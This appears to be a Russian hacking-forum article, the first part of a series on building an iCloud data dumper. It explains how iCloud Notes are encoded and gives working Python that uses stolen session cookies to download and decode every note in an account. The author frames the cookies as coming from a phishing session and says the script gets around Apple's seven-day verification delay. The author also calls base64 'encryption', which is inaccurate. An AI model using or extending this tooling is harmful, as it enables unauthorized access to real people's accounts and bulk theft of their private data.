LIMB
Вход Регистрация

тема

[СТАТЬЯ] Трилогия - заметки, базовые навыки криптографии, в связке с WEB. Делаем дампер Icloud по кусочкам.

Удалённый пользователь 2946 · · 1 ответов · 165 просмотров

Вступление
Будет целая аж трилогия в рамках Icloud, да, в этой статье разберем именно заметки, то как они устроены, как их выкачивать, как дешифровать, и прочую лабуду..- В рамках следующих статей в этой связке рассмотрим почту, фотографии, диск, контакты (UPD. список может дополняться, если имеется желание рассмотреть еще и другое). Что в итоге мы должны вообще получить? Делать мы будем все модульно, то есть на каждый раздел будет своя статья, где все будет растолковано и что как работает, и в конце модуль для поддержки того или иного раздела. В идеале, в конце соберем полноценный дампер Icloud'a, где загрузил только куки, а на выходе получил всю расфасованную информацию по папочкам и красиво. Дампер - это не самосвал, ни европейский хлеб, а некий скрипт/программа, которая позволяет делать копию данных. Следовательно, возникает вопрос, а зачем нам нужен твой дампер, если у крупнейших бигтехов есть и так своя выгрузка данных, официальная, а?! А потому что, все крупные бигтехи почему-то ссутся по безопасности, и если вы запросите сделать копию данных в том же айклауде, то будьте готовы к этому
Не удалось прогрузить медиа

Ждать 7 день, чтоб убедиться, что ВЫ это ВЫ, а не какой-то хацкер?! А мы же люди обычно не добряки, нам нужно все и сразу, да и доступ за такое время с огромной вероятностью уже умрет, кому это нужно?? Точно не нам, по этому мы и вынуждены делать именно скриптом, ну или же сидеть руками выкачивать каждую фотографию, каждую заметку, каждый файл.. А теперь "практический" вопрос, для кого это? В основной доле, думаю, что такой скрипт может пригодится как и простым людям, которые решили, что им срочно нужно все выкачать, но может и пригодится как раз таки хацкерам, у которых условно заказали вЗлОм Icloud'a, и надо все быстренько выкачать, может коммерцы, которые предоставляют услуги быстрой выгрузки. Без понятия кто, и как точно это будет использовать, да и не моих рук это дело. Теперь пора возвращаться к основной сути статьи.


Технические подробности, да заметочки! #FCKSTUPIDBASE64

Весь код, который будет здесь и в рамках этой статьи будет на "петухоне" (python), и использовать будем только сырые запросы, отталкиваемся от того, что у нас есть только куки от аккаунта, на этом все. Паролей, доступов к 2ФА у нас нет, только залогиненная сессия с фишинга условно. Заметки это именно то, что будет у нас напрямую связано с криптографией, если у вас есть базовые навыки, знания, то не думаю, что будет сложно. Тянуть кота за фаберже, я лично смысла не вижу, по этому идем уже в сами заметки и подмечаем для себя интересные вещи.
Не удалось прогрузить медиа

Вполне простые заметки, и ничего более, но стоит оглянуться в адресную строку и понять что-то неладное. Всем же знаком BASE64? Если да, то вы сразу видите тут зацепку, если нет, то разъясняю, base64 - по моему мнению один из самых базовых методов шифрования, который излюбленно засовывают во всякие детские CTF-задачки, практикуют в ВУЗ'aх (на первых курсах, наверное, не приходилось учиться в ИБ/IT направлениях), почему я решил, что это base64? Да потому, что тут равно на конце, это характерно для него, "=" может быть как и один в конце, так и два, обуславливается это логикой самого принципа шифрования, он конвертирует по 3 байта каждый блок, то есть к примеру если длина первоначального блока кратна 3, то не будет знака равно, если остаток равен одному, то будет 2 знака равно, а если двум, то будет всего лишь 1 знак равно. Но теперь давайте убедимся, что это правда он, и попробуем декодировать его, куча онлайн-дешифраторов можно найти в гугле тупо написав "base64 decoder". 
Не удалось прогрузить медиа

Раздекодировав это, становится ясно, что это так скажем некий идентификатор каждой заметки, тогда ладно, возникает другой вопрос, а где получить вообще все эти ID заметок? Тут по классике уже летим в инструменты разработчика, и делаем поиск по этому идентификатору в надежде, что он пролетает в открытом виде, а не закодированном еще как-либо.
Не удалось прогрузить медиа

Нашлось это, но пока это нам не важно, тут передается как раз таки ID, время последнего редактирования и дата создания(FolderModificationDate и CreationDate), и я так понимаю, что TextDataEncrypted - является самим текстом заметки, меня волнует где именно я могу получить список всех заметок, простой поиск через CTRL+F успехом не увенчался, по этому смотрим на названия эндпоинтов, и проверяем чуть ли не респонс каждого, чтоб понять где же полный лист заметок. Чучуть поковырявшись, я нахожу его
Не удалось прогрузить медиа

Сохраняем для себя это, и дублирую тут в качестве напоминалки, чтоб когда мы разобрались и с декодированием самого текста заметок, вернулись сюда и написали полноценный модуль.




Спойлер: получение листа заметок
data = '{"query":{"recordType":"SearchIndexes","filterBy":[{"comparator":"EQUALS","fieldName":"indexName","fieldValue":{"value":"recents","type":"STRING"}}],"sortBy":[{"fieldName":"modTime","ascending":false}]},"zoneID":{"zoneName":"Notes"},"desiredKeys":["TitleEncrypted", "TextDataEncrypted"],"resultsLimit":1000}'



response = requests.post(    

 'https://p55-ckdatabasews.icloud.com/database/1/com.apple.notes/production/private/records/query',    params=params,    cookies=cookies,    headers=headers,    data=data,)
Предполагая, что в REPLICAID у нас лежит сам текст заметки, мы идем к нему и пытаемся разобраться, что это за строчка такая.
Code:
"H4sIAAAAAAAAE+NgENrIyMEgwCC1ilFI78L8CxsubLqw+8K+C5svNgDZWy42Xth1YceFnQoX9l/YerFBT0fB0ACILQ0NDS2lBLhYQFqBmsG0BiNYhBEoIicFohk1mKTEuDiAcv+BgB+oDs5WkuGS4hI4c/Bet4KuX3Lju3j5qI4EGyEmDjkgZtKSA9IiEoxeAk6PCs4uKfcJX1LtxezG+swq49DJywfYACx5m/22AAAA"
На первый взгляд, опять я скажу, что это base64, но стоит рассказать про базовый сервис, который может нам немного да помочь с определением шифра, а именно dcode.fr ,у него есть удобная фишка, что можно засунуть текст, а на выходе получить предполагаемый шифр, именно это и проверим 
Не удалось прогрузить медиа

По его мнению, это и есть BASE64, ну тогда декодируем.
Не удалось прогрузить медиа

Декодируется, но в какой же бред, нашего текста тут нет от слова совсем, но раз получилось, значит сперва идет BASE64, а что затем? По пустым символам же ничего не понять!!..- Тогда стоит расдекодировать наш base в байты, а не в текст, может там мы увидим знакомую сигнатуру (магические байты), что нам даст понимание о том какой шифр лежит потом?

Не удалось прогрузить медиа

И о чудо, тут есть за, что зацепиться. Именно 1f 8b кричит, мне о том, что это GZIP - следовательно, у нас выходит следующий маршрут BASE64~>HEX~>GZIP~>??? , но пока неизвестно что мы получим в итоге, по этому проверяем, получим ли мы, то что нам нужно в итоге или нет?
Не удалось прогрузить медиа

И все выходит, все получается, мы получили наш текст, но теперь вопрос, а что делать с этими битыми символами, куда их девать? Зачем они? Для чего? Буду откровеннен, без понятия, абсолютно, по этому я пришел к решению, просто подчищать их, и оставлять только символы, поддерживаемые UTF-8. На этом моменте думал, переходить уже к практической части написания кода, но забыл про TitleEncrypted.
Code:
0J/QsNCy0LvQvtCz0YDQsNC00YHQutC40Lkg0L/QtdGALiwgMTAsIDE5MTExOQ==
Не удалось прогрузить медиа

Тут по старой памяти уже видим 2 "=" суем в base64, и получаем
Не удалось прогрузить медиа

Тут уже все верно, заголовок получился точно таким же как и содержимое, потому что Icloud автоматом подтянул название из содержимого. Стоит теперь подвести небольшой вывод, и план по тому как делать/писать скрипт. Первоначально получаем список абсолютно всех заметок сразу с их ID, и их закриптованным содержимым, после чего пропускаем каждую записку через декриптор, предварительно удаляя все битые символы из содержимого, создаем под каждую записку текстовый файл, называя их заголовком, и на этом мы заканчиваем. Ну раз план уже как-то да простроен, то надо приступать.

Пишем c0000d. Модифицируем изначальный запрос под свои хотелки.
Помните, что ранее оставлял прям в статье нужный запрос? Вот именно он и пригодится нам в первую очередь. Привлекать наше внимание должен пэйлод, который мы отправляем, изначально он конечно не выглядел, как сейчас, раньше в нем было куча еще и других параметров, а именно все можно увидеть на скрине ниже
Не удалось прогрузить медиа

Всё это нам не нужно от слова совсем, нам нужны только TitleEncrypted, TextDataEncrypted, по этому мы убираем абсолютно все другие, ведь к чему нам лишняя нагрузка, и лишняя информация если её можно просто-напросто избежать? В таком случае, мы будем получать абсолютно всю информацию, сразу же готовую за 1 запрос, не сказка ли это, и нам остается лишь закинуть её на декрипт.. Как я ранее говорил, все будет по модулям, каждый файлик отвечает за свое, каждый трогает только свою часть, в этой статье будут модули для заметок + декрипт, а в следующей уже будет и так скажем код для пуска ракеты вместе с контактами =). Заводить интригу - это плохо, знаю, но долго я не заставлю ждать. 
Code:
import requests
import json
from decrypt import decode_text_data_encrypted
import base64
from get_dsid import get_dsid
import os
import re

def sanitize_filename(filename):
    return re.sub(r'[\\/*?:"<>|]', '_', filename)

def get_notes(session, folder):
    headers = {
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7',
        'Connection': 'keep-alive',
        'Origin': 'https://www.icloud.com',
        'Referer': 'https://www.icloud.com/',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'same-site',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'content-type': 'text/plain',
        'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
    }

    params = {
        'dsid': get_dsid(),
    }
    data = '{"query":{"recordType":"SearchIndexes","filterBy":[{"comparator":"EQUALS","fieldName":"indexName","fieldValue":{"value":"recents","type":"STRING"}}],"sortBy":[{"fieldName":"modTime","ascending":false}]},"zoneID":{"zoneName":"Notes"},"desiredKeys":["TitleEncrypted", "TextDataEncrypted"],"resultsLimit":1000}'

    response = session.post(
        'https://p55-ckdatabasews.icloud.com/database/1/com.apple.notes/production/private/records/query',
        params=params,
        headers=headers,
        data=data,
    )
    json_data = response.json()
    for record in json_data['records']:
        try:
            title_encrypted = record['fields']['TitleEncrypted']['value']
            text_data_encrypted = record['fields']['TextDataEncrypted']['value']
            title = base64.b64decode(title_encrypted).decode('utf-8')
            clear_title = sanitize_filename(title)
            text_data = decode_text_data_encrypted(text_data_encrypted)
            filename = os.path.join(folder, f"{clear_title}.txt")
            with open(filename, 'w', encoding='utf-8') as file:
                file.write(text_data)
        except:
            pass
Это у нас идет как модуль под получение+запись результатов заметок, объясню максимально вкратце что тут вообще происходит, есть функция get_notes, которая принимает в качестве аргументов - сессию, уже с набитыми куками и папку, куда мы должны будем сохранять результаты заметок; Затем делаем POST-запрос перед этим, получив dsid (рассказ об этом в следующей статье), где получаем все наши данные, извлекаем закриптованный заголовок и содержимое статьи, заголовок декодируем на месте, а содержимое передаем в другую функцию, которую импортировали из другого файла, после всех декодирований сохраняем каждую заметку с названием в виде заголовка заметки в отдельную папку.

Code:
import base64
import zlib
import re
import gzip

def decode_text_data_encrypted(encrypted_value):
    try:
        decoded_value = base64.b64decode(encrypted_value)
        if decoded_value[0] == 0x1f and decoded_value[1] == 0x8b:
            uncompressed_data = gzip.decompress(decoded_value)
        else:
            uncompressed_data = zlib.decompress(decoded_value)
        decoded_text = uncompressed_data.decode('utf-8', errors='replace')
        cleaned_text = re.sub(r'[^\x20-\x7Eа-яА-ЯёЁ]', '', decoded_text)
        return cleaned_text
    except Exception as e:
        return encrypted_value
Декрипт прост и банален как вода, тут мы получаем наше закодированное значение, декодируем в HEX, проверяем что это реально gzip, если так, то разжимаем как gzip, а если нет, то как zlib, я находил ранее заметки в формате zlib, но в рамках нынешней сессии не удалось найти такую и продемонстрировать, но суть тут такая же как и с gzip'ом если проводить первоначальную разведку, что к чему и как устроено, затем декодируем уже в поддерживаемые utf-8 символы, удаляем с помощью регулярки всякие бредовые символы, и возвращаем. 

Заключение
А на этом, пожалуй, и все. Мы успешно разобрали как устроены заметки в Icloud, написали свой собственный модуль для их выкачивания и дешифровки, и теперь можем спокойно идти пить чай с печеньками, пока наш скрипт делает всю грязную работу за нас. Кто бы мог подумать, что всё окажется настолько просто? BASE64 -> GZIP -> PROFIT! Хотя, если честно, когда впервые видишь эту кашу из символов, кажется что без шаманского бубна и семи лет обучения в Хогвартсе тут не разобраться. Но как оказалось, всё гениальное - просто, особенно когда знаешь где искать магические байты. В следующей статьей в рамках трилогии по Icloud - разберем что за dsid я имел в виду, напишем файл для старта всего скрипта, подгрузим куки в сессию, выкачаем все контакты и так же сохраним. всем добра и позитива =)
Не удалось прогрузить медиа
👍11 ❤️2 🤔1 💯2
Этот парень может преподовать в вузах!

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.